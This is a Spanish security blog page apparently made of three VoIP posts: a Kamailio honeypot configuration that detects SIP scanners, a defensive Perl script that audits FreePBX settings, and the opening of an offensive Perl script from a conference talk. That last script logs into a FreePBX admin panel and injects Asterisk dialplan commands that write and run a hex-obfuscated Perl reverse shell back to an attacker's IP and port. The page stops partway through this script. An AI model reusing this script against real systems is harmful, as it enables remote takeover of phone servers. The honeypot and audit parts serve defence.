Creando un honeypot con Kamailio

Kamailio es un proxy SIP derivado de un proyecto anterior llamado OpenSER. A parte de ser Open Source, es una magnífica herramienta, indispensable si deseas montar un sistema de VoIP medianamente grande, es decir, llegando más allá de las típicas centralitas Asterisk, FreeSwitch o similares que nos permiten gestionar una oficina con X extensiones.

Aprovecho para mandar un saludo a mi compañero Victor Seva (@linuxmaniac) que desde hace poco pertenece al equipo de desarrolladores de Kamailio. 😉

Como comentaba, un proxy SIP nos permite realizar muchísimas cosas, como validar usuarios, reenviar el tráfico a servidores SIP, gestionar llamadas, etc. En este caso lo vamos a utilizar con las mínimas opciones. Simplemente le permitiremos recibir y emitir llamadas, pero con alguna que otra peculiaridad. Nuestra finalidad será la de controlar los escanéos que nos hagan e interceptar todas las llamadas que intenten realizarse a través del sistema, es decir, colocar un honeypot para cazar listillos.

Evidentemente para entender todo esto hay que tener unos mínimos conocimientos de SIP. Si quieres instalar un Kamailio, puedes consultar la documentación aquí: http://www.kamailio.org/wiki/

En primer lugar vamos a editar el fichero kamailio.cfg y vamos a añadir a la ruta REQINIT lo siguiente:


if($ua == "friendly-scanner" || $ua == "sundayddr" || $ua == "sip-scan" || $ua == "iWar" || $ua == "sipsak") {
 xlog("L_ALERT", "Attack attempt! IP:$si:$sp - R:$ruri - F:$fu - T:$tu - UA:$ua - $rm\n");
}

Lo que conseguimos con esto es que nos alerte ante un escaneo usando los programas típicos. Por ejemplo, con SIPVicious:


$ python svmap.py 192.168.2.18

| SIP Device | User Agent | Fingerprint |
---------------------------------------------------------------------
| 192.168.2.18:5060 | kamailio (4.0.1 (x86_64/linux)) | disabled |

En el log del sistema (/var/log/kamailio) vemos esto:


ALERT: <script>: Attack attempt! IP:192.168.2.10:5060 - R:sip:100@192.168.2.18 -
 F:sip:100@1.1.1.1 - T:sip:100@1.1.1.1 - UA:friendly-scanner - OPTIONS

De esta forma nos enteraremos enseguida si alguien nos realiza un escaneo con svmap. De todas formas, siempre viene bien ocultar nuestra versión de kamailio. así que en el fichero de configuración añadiremos:


####### Global Parameters #########
user_agent_header="User-Agent: kamailio 1.0"
server_header="User-Agent: kamailio 1.0"

Y si repetimos la búsqueda:


$ python svmap.py 192.168.2.18

| SIP Device        | User Agent   | Fingerprint |
--------------------------------------------------
| 192.168.2.18:5060 | kamailio 1.0 | disabled    |

Una vez que somos capaces de detectar los escaneos, vamos a jugar un poco con el atacante. Lo primero de todo, le vamos a permitir registrarse en nuestro sistema con cualquier usuario y con cualquier contraseña. Para ello, en la ruta REQINIT añadiremos:


if (is_method("REGISTER")) {
	xlog("L_INFO", "Get Register for user $fU (IP: $si)\n");

	# aceptamos todas las peticiones de registro sin verificar la contraseña
	sl_send_reply("200","OK");
}

Lo que hacemos con esto es permitir el registro de cualquier usuario con cualquier contraseña. Para ello responderemos con un ‘200 OK’, permitiéndoles siempre registrarse.

Si pasamos svcrack podemos ver que siempre ‘descubre’ la contraseña de cualquier usuario:


$ python svcrack.py -u100 -r1-100 -z4 192.168.2.18

| Extension | Password      |
-----------------------------
| 100       | [no password] |

$ python svcrack.py -u324324243 -r1-100 -z4 192.168.2.18

| Extension | Password      |
-----------------------------
| 324324243 | [no password] |

El motivo por el que dice que no tiene contraseña es porque SIPVicious lo primero que prueba ante un ataque por fuerza bruta, es la contraseña vacía.

Si intentamos registrar un teléfono, veremos que se conecta sin problemas. Y en el log aparecerá algo así:


INFO: <script>: Get Register for user pepelux (IP: 192.168.2.16)
INFO: <script>: Get Register for user 200 (IP: 192.168.2.17)

Tras esto, vamos a registrarnos con el usuario 100 (por ejemplo) y lo que haremos será desviar todas las llamadas hacia nosotros. En la ruta REQINIT añadimos:


if (is_method("INVITE")) {
	xlog("L_INFO", "$fU is trying to call to $rU\n");
	$rU = "100"; # siempre nos llamará a nosotros
	xlog("L_INFO", "Sending call to $rU\n");
}

Y cuando se intente realizar una llamada a cualquier número nos sonará a nosotros:


INFO: <script>: pepelux (with IP:192.168.2.16) is trying to call to 666666666
INFO: <script>: Sending call to 100

INFO: <script>: 200 (with IP:192.168.2.17) is trying to call to 123456
INFO: <script>: Sending call to 100

¿Qué tal si en lugar de desviar la llamada a la extensión 100 la desviamos al número 091? 🙂

Y el fichero completo (kamailio.cfg) que he usado para las pruebas:

 


#!KAMAILIO
####### Include Local Config If Exists #########
import_file "kamailio-local.cfg"

####### Defined Values #########
#!define FLT_ACC 1
#!define FLT_ACCMISSED 2
#!define FLT_ACCFAILED 3
#!define FLT_NATS 5
#!define FLB_NATB 6
#!define FLB_NATSIPPING 7

####### Global Parameters #########
user_agent_header="User-Agent: kamailio 1.0"
server_header="User-Agent: kamailio 1.0"

### LOG Levels: 3=DBG, 2=INFO, 1=NOTICE, 0=WARN, -1=ERR
#!ifdef WITH_DEBUG
debug=4
log_stderror=yes
#!else
debug=2
log_stderror=no
#!endif

memdbg=5
memlog=5
log_facility=LOG_LOCAL0
fork=yes
children=4
port=5060
tcp_connection_lifetime=3605

####### Modules Section ########
# set paths to location of modules (to sources or installation folders)
#!ifdef WITH_SRCPATH
mpath="modules_k:modules"
#!else
mpath="/usr/local/lib/kamailio/modules_k/:/usr/local/lib64/kamailio/modules/"
#!endif

#!ifdef WITH_MYSQL
loadmodule "db_mysql.so"
#!endif

loadmodule "mi_fifo.so"
loadmodule "kex.so"
loadmodule "corex.so"
loadmodule "tm.so"
loadmodule "tmx.so"
loadmodule "sl.so"
loadmodule "rr.so"
loadmodule "pv.so"
loadmodule "maxfwd.so"
loadmodule "usrloc.so"
loadmodule "registrar.so"
loadmodule "textops.so"
loadmodule "siputils.so"
loadmodule "xlog.so"
loadmodule "sanity.so"
loadmodule "ctl.so"
loadmodule "cfg_rpc.so"
loadmodule "mi_rpc.so"
loadmodule "acc.so"

# ----------------- setting module-specific parameters ---------------
# ----- mi_fifo params -----
modparam("mi_fifo", "fifo_name", "/tmp/kamailio_fifo")

# ----- tm params -----
# auto-discard branches from previous serial forking leg
modparam("tm", "failure_reply_mode", 3)
# default retransmission timeout: 30sec
modparam("tm", "fr_timer", 30000)
# default invite retransmission timeout after 1xx: 120sec
modparam("tm", "fr_inv_timer", 120000)

# ----- rr params -----
# add value to ;lr param to cope with most of the UAs
modparam("rr", "enable_full_lr", 1)
# do not append from tag to the RR (no need for this script)
modparam("rr", "append_fromtag", 0)

# ----- registrar params -----
modparam("registrar", "method_filtering", 1)
/* uncomment the next line to disable parallel forking via location */
# modparam("registrar", "append_branches", 0)
/* uncomment the next line not to allow more than 10 contacts per AOR */
#modparam("registrar", "max_contacts", 10)
# max value for expires of registrations
modparam("registrar", "max_expires", 3600)
# set it to 1 to enable GRUU
modparam("registrar", "gruu_enabled", 0)

# ----- acc params -----
/* what special events should be accounted ? */
modparam("acc", "early_media", 0)
modparam("acc", "report_ack", 0)
modparam("acc", "report_cancels", 0)
/* by default ww do not adjust the direct of the sequential requests.
   if you enable this parameter, be sure the enable "append_fromtag"
   in "rr" module */
modparam("acc", "detect_direction", 0)
/* account triggers (flags) */
modparam("acc", "log_flag", FLT_ACC)
modparam("acc", "log_missed_flag", FLT_ACCMISSED)
modparam("acc", "log_extra", 
	"src_user=$fU;src_domain=$fd;src_ip=$si;"
	"dst_ouser=$tU;dst_user=$rU;dst_domain=$rd")
modparam("acc", "failed_transaction_flag", FLT_ACCFAILED)
/* enhanced DB accounting */

####### Routing Logic ########
# Main SIP request routing logic
# - processing of any incoming SIP request starts with this route
# - note: this is the same as route { ... }
request_route {
	# per request initial checks
	route(REQINIT);

	# NAT detection
	route(NATDETECT);

	# CANCEL processing
	if (is_method("CANCEL"))
	{
		if (t_check_trans()) {
			route(RELAY);
		}
		exit;
	}

	# handle requests within SIP dialogs
	route(WITHINDLG);

	### only initial requests (no To tag)
	t_check_trans();

	# record routing for dialog forming requests (in case they are routed)
	# - remove preloaded route headers
	remove_hf("Route");
	if (is_method("INVITE|SUBSCRIBE"))
		record_route();

	# dispatch requests to foreign domains
	route(SIPOUT);

	# handle registrations
	route(REGISTRAR);

	if ($rU==$null)
	{
		# request with no Username in RURI
		sl_send_reply("484","Address Incomplete");
		exit;
	}

	# user location service
	route(LOCATION);
}

route[RELAY] {
	# enable additional event routes for forwarded requests
	# - serial forking, RTP relaying handling, a.s.o.
	if (is_method("INVITE|BYE|SUBSCRIBE|UPDATE")) {
		if(!t_is_set("branch_route")) t_on_branch("MANAGE_BRANCH");
	}
	if (is_method("INVITE|SUBSCRIBE|UPDATE")) {
		if(!t_is_set("onreply_route")) t_on_reply("MANAGE_REPLY");
	}
	if (is_method("INVITE")) {
		if(!t_is_set("failure_route")) t_on_failure("MANAGE_FAILURE");
	}

	if (!t_relay()) {
		sl_reply_error();
	}
	exit;
}

# Per SIP request initial checks
route[REQINIT] {
        # Si detectamos el User-Agent de un escáner conocido, mostramos una alerta
        if($ua == "friendly-scanner" || $ua == "sundayddr" || $ua == "sip-scan" || $ua == "iWar" || $ua == "sipsak") {
                xlog("L_ALERT", "Attack attempt! IP:$si:$sp - R:$ruri - F:$fu - T:$tu - UA:$ua - $rm\n");
        }

        # Al recibir un intento de registro, devolvemos siempre un OK
	if (is_method("REGISTER")) {
		xlog("L_INFO", "Get Register for user $fU (IP: $si)\n");

		if ($fU != "100")
			sl_send_reply("200","OK");
	}

        # Al recibir un intento de llamada, modificamos el destino para que siempre llame a la extensión 100
	if (is_method("INVITE")) {
		xlog("L_INFO", "$fU (with IP:$si) is trying to call to $rU\n");
		$rU = "100";
		xlog("L_INFO", "Sending call to $rU\n");
	}

	if (!mf_process_maxfwd_header("10")) {
		sl_send_reply("483","Too Many Hops");
		exit;
	}

	if(!sanity_check("1511", "7"))
	{
		xlog("Malformed SIP message from $si:$sp\n");
		exit;
	}
}

# Handle requests within SIP dialogs
route[WITHINDLG] {
	if (has_totag()) {
		# sequential request withing a dialog should
		# take the path determined by record-routing
		if (loose_route()) {
			route(DLGURI);
			if (is_method("BYE")) {
				setflag(FLT_ACC); # do accounting ...
				setflag(FLT_ACCFAILED); # ... even if the transaction fails
			}
			else if ( is_method("ACK") ) {
				# ACK is forwarded statelessy
				route(NATMANAGE);
			}
			else if ( is_method("NOTIFY") ) {
				# Add Record-Route for in-dialog NOTIFY as per RFC 6665.
				record_route();
			}
			route(RELAY);
		} else {
			if (is_method("SUBSCRIBE") && uri == myself) {
				# in-dialog subscribe requests
				exit;
			}
			if ( is_method("ACK") ) {
				if ( t_check_trans() ) {
					# no loose-route, but stateful ACK;
					# must be an ACK after a 487
					# or e.g. 404 from upstream server
					route(RELAY);
					exit;
				} else {
					# ACK without matching transaction ... ignore and discard
					exit;
				}
			}
			sl_send_reply("404","Not here");
		}
		exit;
	}
}

# Handle SIP registrations
route[REGISTRAR] {
	if (is_method("REGISTER"))
	{
		if(isflagset(FLT_NATS))
		{
			setbflag(FLB_NATB);
			# uncomment next line to do SIP NAT pinging 
			## setbflag(FLB_NATSIPPING);
		}
		if (!save("location"))
			sl_reply_error();

		exit;
	}
}

# USER location service
route[LOCATION] {
	$avp(oexten) = $rU;
	if (!lookup("location")) {
		$var(rc) = $rc;
		t_newtran();
		switch ($var(rc)) {
			case -1:
			case -3:
				send_reply("404", "Not Found");
				exit;
			case -2:
				send_reply("405", "Method Not Allowed");
				exit;
		}
	}

	# when routing via usrloc, log the missed calls also
	if (is_method("INVITE"))
	{
		setflag(FLT_ACCMISSED);
	}

	route(RELAY);
	exit;
}

# Caller NAT detection route
route[NATDETECT] {
#!ifdef WITH_NAT
	force_rport();
	if (nat_uac_test("19")) {
		if (is_method("REGISTER")) {
			fix_nated_register();
		} else {
			add_contact_alias();
		}
		setflag(FLT_NATS);
	}
#!endif
	return;
}

# RTPProxy control
route[NATMANAGE] {
#!ifdef WITH_NAT
	if (is_request()) {
		if(has_totag()) {
			if(check_route_param("nat=yes")) {
				setbflag(FLB_NATB);
			}
		}
	}
	if (!(isflagset(FLT_NATS) || isbflagset(FLB_NATB)))
		return;

	rtpproxy_manage();

	if (is_request()) {
		if (!has_totag()) {
			add_rr_param(";nat=yes");
		}
	}
	if (is_reply()) {
		if(isbflagset(FLB_NATB)) {
			add_contact_alias();
		}
	}
#!endif
	return;
}

# URI update for dialog requests
route[DLGURI] {
#!ifdef WITH_NAT
	if(!isdsturiset()) {
		handle_ruri_alias();
	}
#!endif
	return;
}

# Routing to foreign domains
route[SIPOUT] {
	if (!uri==myself)
	{
		append_hf("P-hint: outbound\r\n");
		route(RELAY);
	}
}

# manage outgoing branches
branch_route[MANAGE_BRANCH] {
	xdbg("new branch [$T_branch_idx] to $ru\n");
	route(NATMANAGE);
}

# manage incoming replies
onreply_route[MANAGE_REPLY] {
	xdbg("incoming reply\n");
	if(status=~"[12][0-9][0-9]")
		route(NATMANAGE);
}

# manage failure routing cases
failure_route[MANAGE_FAILURE] {
	route(NATMANAGE);

	if (t_is_canceled()) {
		exit;
	}
}

 

Saludos

 

¿Cómo de segura es tu FreePBX?

En el último post añadí los enlaces a la charla que impartí en la última RootedCon así como en la NoConName. También puse los scripts que utilicé para obtener una shell de forma automática uan vez que el panel de control ha sido comprometido. Pero la verdad es que dando una charla ofensiva siempre te queda un mal sabor de boca, así que he creado un pequeño script que verifica los fallos más gordos en la configuración de una FreePBX.

Realmente, tal y como comento en la charla, este tipo de plataformas tienen un gran problema de diseño y es muy difícil corregir ciertas cosas. Por ejemplo, si desde la web administramos el Asterisk, se crea la necesidad de permitir el acceso a la modificación de ficheros del sistema de VoIP, ya que es necesario reescribir ciertos archivos. Pero del mismo modo que mysql se ejecuta como root, ¿por qué no usamos diferentes usuarios para Asterisk y para Apache?, aunque a nivel de grupo luego permitamos la modificación de ciertos ficheros.

Por otro lado, al usar una FreePBX, Elastix o similar, nos hacemos muy cómodos ya que realmente no es necesario tener conocimientos ni de Linux ni de VoIP. Todo se realiza muy fácilmente desde el panel de control. Una reflexión que recomiendo leer es la que hace Elio Rojano en su blog, Sinologichttp://www.sinologic.net/blog/2011-11/mejor-editar-archivos-conf-que-interfaz-web.html

Bueno, pues aquí va el pequeño script, que por cierto he realizado de forma muy rápida por falta de tiempo, pero puede servir como base para ‘parchear’ algunas cosas que vienen por defecto en estas plataformas:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=
# FreePBX Security check
# -=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (aka Pepelux)
#
# <verdeguer@zoonsuite.com>

use Parse::Netstat qw(parse_netstat);
use IPTables::Parse;

sub init() {
	die("You must be root to run this script!\n\n") if (getpwuid($<) ne "root");

	my $output = `netstat -lnp  | grep -v -i listening`;
	my $res = parse_netstat output => $output;

	print "\nRunning services:\n----------------\n";
	print "Warning! Mysql (3306/tcp) is accessible from any address.Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:3306/);
	print "Warning! Asterisk Manager (5038/tcp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:5038/);
	print "Warning! SSH (22/tcp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:22/);
	print "Warning! Http (80/tcp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /\:\:\:80/);
	print "Warning! Tftp (69/udp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:69/);
	print "Warning! Asterisk (5060/udp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:5060/);

	print "\nConfig files:\n------------\n";
	print "Warning! Root user can access by SSH. Consider using 'PermitRootLogin no'\n" if (ssh_root() eq 1);
	print "Warning! Asterisk modules running are not in the default folder. Check '/etc/asterisk/asterisk.conf'\n" if (asterisk_modules() eq 1);
	print "Warning! Asterisk Manager (AMI) is enabled. Is really necessary?\n" if (asterisk_manager() eq 1);
	print "Warning! Asterisk Manager (AMI) is accesible by everybody. Change 'permit' value to '127.0.0.1'\n" if (asterisk_manager_access() eq 1);

	print "\nPasswords:\n---------\n";
	print "Warning! Asterisk Manager (AMI) has a default password in '/etc/asterisk/manager.conf'.\n" if (asterisk_manager_passwd() eq 1);
	print "Warning! Asterisk Manager (AMI) has a default password in '/etc/amportal.conf'.\n" if (asterisk_manager_passwd2() eq 1);
	print "Warning! Asterisk Manager (AMI) has a default password in '/etc/asterisk/extensions_additional.conf'.\n" if (asterisk_manager_passwd3() eq 1);

	print "\nFirewall:\n--------\n";
	print "Warning! IPTables INPUT policy is 'ACCEPT'.\n" if (iptables() eq 'ACCEPT');

	print "\nAsterisk:\n--------\n";
	print "Warning! Allowguest is enabled. It's a good choise to set 'allowguest=no' in 'sip.conf'\n" if (allowguest() eq 0);
	my $ua = useragent();
	print "Warning! Useragent shows your FreePBX version: '$ua'. It's a good idea to change it to avoid intrusions based on new bugs\n" if ($ua ne '');
	my $ver = version();
	print "Warning! Your FreePBX version is too old ($ver). Consider upgrading your system\n" if ($ver < '2.10');
	print "Warning! There are asterisk modules with different creation date. Please revise '/use/lib/asterisk/modules' to check possible malwares\n" if (mods() > 1);

	print "\nSystem:\n------\n";
	my $apache = apache_user();
	print "Warning! Apache server is running as 'asterisk'. Consider creating a different user, for example, 'apache'\n" if ($apache eq 'asterisk');
	print "Warning! There are logs property of 'asterisk' user. It's a good idea that 'root' be the owner of these files\n" if (logs() > 0);
	my $sudo = sudoers();
	print "Warning! '$sudo' is allowed for 'asterisk' user without a password. It's possible to get 'root'\n" if ($sudo ne '');

	print "\n";

	unlink "/tmp/iptables.out";
	unlink "/tmp/iptables.err";
	unlink "/tmp/fpbx.version";
	unlink "/tmp/apache.user";
	unlink "/tmp/fpbx.logs";
	unlink "/tmp/fpbx.mods";
}

sub iptables {
        my $ipt_bin = '/sbin/iptables'; # can set this to /sbin/ip6tables

        my %opts = (
                'iptables' => $ipt_bin,
                'iptout'   => '/tmp/iptables.out',
                'ipterr'   => '/tmp/iptables.err',
                'debug'    => 0,
                'verbose'  => 0
        );

        my $ipt_obj = new IPTables::Parse(%opts)
        or die "[*] Could not acquire IPTables::Parse object";

        my $rv = 0;

        my $table = 'filter';
        my $chain = 'INPUT';

        $ipt_obj->default_drop($table, $chain);

        open (FILE_IPT, '/tmp/iptables.out');
        my $f = "";

        while (<FILE_IPT>) {
                chomp;
                $f .= "$_\n";
        }

        close (FILE_IPT);

        $f =~ /Chain\sINPUT\s\(policy\s([A-Z|a-z]*)\)/;

        return $1;
}

sub version {
        system("yum list freepbx.noarch |grep 'freepbx.noarch' > /tmp/fpbx.version");

        open (FILE_VER, '/tmp/fpbx.version');

        while (<FILE_VER>) {
                chomp;
                my $aux = $_;
                $aux =~ /freepbx\.noarch\s+\t+([\-|0-9|\.]*)\s+\t+/;
                $aux =~ /[a-z|\.|\s|\t]*([\-|0-9|\.]*)/;
                close (FILE_VER);

                return $1;
        }

        return "";
}

sub sudoers {
        open (FILE_SUD, '/etc/sudoers');

        while (<FILE_SUD>) {
                chomp;
                return 'nmap' if ($_ =~ /asterisk\s*ALL\s*=\s*NOPASSWD\:\s*\/usr\/bin\/nmap/ && $_ !~ /^#/);
                return 'yum' if ($_ =~ /asterisk\s*ALL\s*=\s*NOPASSWD\:\s*\/usr\/bin\/yum/ && $_ !~ /^#/);
        }

        close (FILE_SUD);

        return "";
}

sub apache_user {
        system("ps -ef | grep httpd | grep -v root | cut -d\" \" -f1 | uniq > /tmp/apache.user");

        open (FILE_APA, '/tmp/apache.user');
        my $aux = "";

        while (<FILE_APA>) {
                chomp;
                $aux = $_;
        }

        close (FILE_APA);

        return $aux;
}

sub logs {
        system("ls /var/log -laR | grep asterisk | wc | cut -d\" \" -f6 > /tmp/fpbx.logs");

        open (FILE_LOG, '/tmp/fpbx.logs');
        my $aux = "";

        while (<FILE_LOG>) {
                chomp;
                $aux = $_;
        }

        close (FILE_LOG);

        return $aux;
}

sub mods {
        system("ls -la /usr/lib/asterisk/modules | grep \".so\" | cut -d\":\" -f1 | cut -d\"r\" -f7 | cut -d\" \" -f2 | uniq | wc | cut -d\" \" -f7 > /tmp/fpbx.mods");

        open (FILE_MOD, '/tmp/fpbx.mods');
        my $aux = "";

        while (<FILE_MOD>) {
                chomp;
                $aux = $_;
        }

        close (FILE_MOD);

        return $aux;
}

sub allowguest {
        open (FILE, '/etc/asterisk/sip.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /allowguest\s*=\s*no/i && $_ !~ /^#/);
        }

        return 0;
}

sub useragent {
        open (FILE, '/etc/asterisk/sip_general_additional.conf');

        while (<FILE>) {
                chomp;
                my $aux = $_;

                if ($aux =~ /useragent\s*=\s*fpbx-/i && $_ !~ /^#/) {
                        $aux =~ /useragent\s*=\s*([a-z|A-Z|\-|0-9|\.|\(|\)]*)/;
                        return $1;
                }
        }

        return '';
}

sub ssh_root {
        open (FILE, '/etc/ssh/sshd_config');

        while (<FILE>) {
                chomp;
                return 0 if ($_ =~ /permitrootlogin\s*no/i && $_ !~ /^#/);
        }

        return 1;
}

sub asterisk_modules {
        open (FILE, '/etc/asterisk/asterisk.conf');

        while (<FILE>) {
                chomp;
                return 0 if ($_ =~ /astmoddir\s*=>\s*\/usr\/lib\/asterisk\/modules/i);
        }

        return 1;
}

sub asterisk_manager {
        open (FILE, '/etc/asterisk/manager.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /enabled\s*=\s*yes/i && $_ !~ /^;/);
        }

        return 0;
}

sub asterisk_manager_access {
        open (FILE, '/etc/asterisk/manager.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /permit\s*=\s*0\.0\.0\.0/i);
        }

        return 0;
}

sub asterisk_manager_passwd {
        open (FILE, '/etc/asterisk/manager.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /secret\s*=\s*amp/i);
        }

        return 0;
}

sub asterisk_manager_passwd2 {
        open (FILE, '/etc/amportal.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /AMPMGRPASS\s*=\s*amp/);
        }

        return 0;
}

sub asterisk_manager_passwd3 {
        open (FILE, '/etc/asterisk/extensions_additional.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /AMPMGRPASS\s*=\s*amp/);
        }

        return 0;
}

init();

Y el resultado del script (haz click en la imagen para agrandarla):

freepbx_chk

Un saludo

FreePBX for Fun & Profit

Hace unos días salió publicado el vídeo de mi charla en la RootedCon 2013, sobre un análisis de seguridad en plataformas basadas en Asterisk del tipo FreePBX, Elastix o Trixbox. Lo podéis ver aquí:

FreePBX for Fun & Profit

Los slides se pueden ver o descargar en Slideshare:
freepbx-slides

Y los dos scripts usados durante la charla:

Primer script:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
#use LWP::Debug qw(+);

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");
$ua->timeout(10);

my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";

#print "\e[2J";
#system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my $result = GetOptions ("h=s" => \$host,
                         "u=s" => \$user,
                         "ip=s" => \$ip,
                         "port=s" => \$port,
                         "p=s" => \$pass,
                         "cli=s" => \$cli,
                         "ext=s" => \$ext,
                         "cs+" => \$create,
                         "es+" => \$execute);

if ($h eq 1 || $host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }

$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");

# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";

$ip = encode($ip);
$port = encode($port);

# Comandos para crear una shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local

my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";

# Comandos para ejecutar la shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local

my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";

my $url = "http://" . $host . "/admin/config.php";

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);

my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
	Content => [ username => $user, password => $pass, submit => 'Login' ]);

my $response = $ua->post($url, @header);

$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;

$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;

